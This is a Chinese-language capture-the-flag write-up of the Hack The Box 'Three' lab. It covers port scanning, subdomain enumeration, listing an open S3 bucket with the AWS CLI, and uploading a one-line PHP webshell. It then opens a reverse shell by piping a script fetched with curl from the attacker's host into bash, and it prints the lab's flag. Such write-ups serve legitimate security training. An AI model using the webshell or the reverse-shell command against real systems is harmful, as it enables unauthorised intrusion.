HTB:Three[WriteUP]

使用OpenVPN连接并启动机器


1.How many TCP ports are open?

 使用nmap对靶机进行扫描:nmap -sV 10.129.233.85

 可见仅开启了 22、80 共2个端口


2.What is the domain of the email address provided in the "Contact" section of the website? 

直接对靶机进行访问:http://10.129.233.85

在联系方式一栏找到域名:thetoppers.htb


3.In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?

这是常识题:/etc/hosts


4.Which sub-domain is discovered during further enumeration?

注:这里我根据官方的WP使用gobuster进行子域名枚举没能爆破出来

执行命令:gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb

如果Kali没安装selicsts字典,执行命令apt install seclists安装后再执行上述命令即可

官方WP是通过该字典爆破出来的:s3.thetoppers.htb


5.Which service is running on the discovered sub-domain?

将靶机IP写入hosts文件中,令该域名进行DNS本地解析:

echo "10.129.233.85 s3.thetoppers.htb" | sudo tee -a /etc/hosts

使用浏览器访问http://s3.thetoppers.htb

只显示{"status": "running"}字样

结合域名前的s3,通过Google搜索可知这是个Amazon S3服务


6.Which command line utility can be used to interact with the service running on the discovered sub-domain?

要与Amazon S3进行交互,我们可以使用工具awscli

在Kali上使用apt install awscli命令进行安装


7.Which command is used to set up the AWS CLI installation?

安装AWS CLI执行命令:aws configure


8.What is the command used by the above utility to list all of the S3 buckets?

 列出全部存储桶命令:aws s3 ls

但实际上我们这里需要列出 s3.thetoppers.htb 该域的全部存储桶

所需执行命令为:aws --endpoint=http://s3.thetoppers.htb s3 ls

再从指定存储桶中列出所有对象:aws --endpoint=http://s3.thetoppers.htb s3 ls thetoppers.htb


9.This server is configured to run files written in what web scripting language?

 通过存储桶中的对象,我们可以看到index.php文件,所以可以确定该Web脚本语言为php


Submit root flag

考虑到该服务使用PHP进行编写,并且允许我们对该桶进行增删改查

编写Webshell:<?php system($_GET[cmd]); ?>,保存至shell.php并上传至桶中

 接下来尝试用GET方法构造URL中的cmd参数进行命令执行

使用ls命令逐级查找flag的位置,最终在上一级目录找到了flag.txt


 接下来尝试利用webshell进行打反弹shell

本地写一个shell.sh文件来获得一个反弹shell,再使用nc持续监听

接着在shell.sh同目录下启动http.server服务,随便选择开启一个闲置端口

命令:python -m http.server 6666

在靶机Webshell中,通过curl访问本地shell.sh文件进行反弹shell

命令:curl 10.10.16.22:6666/shell.sh|bash

接着http服务端和nc监听端都能收到响应

http.server:

nc:

通过sh回到上一级目录,直接cat flag.txt


 flag:a980d99281a28d638ac68b9bf9453c2b

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0DayHP

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值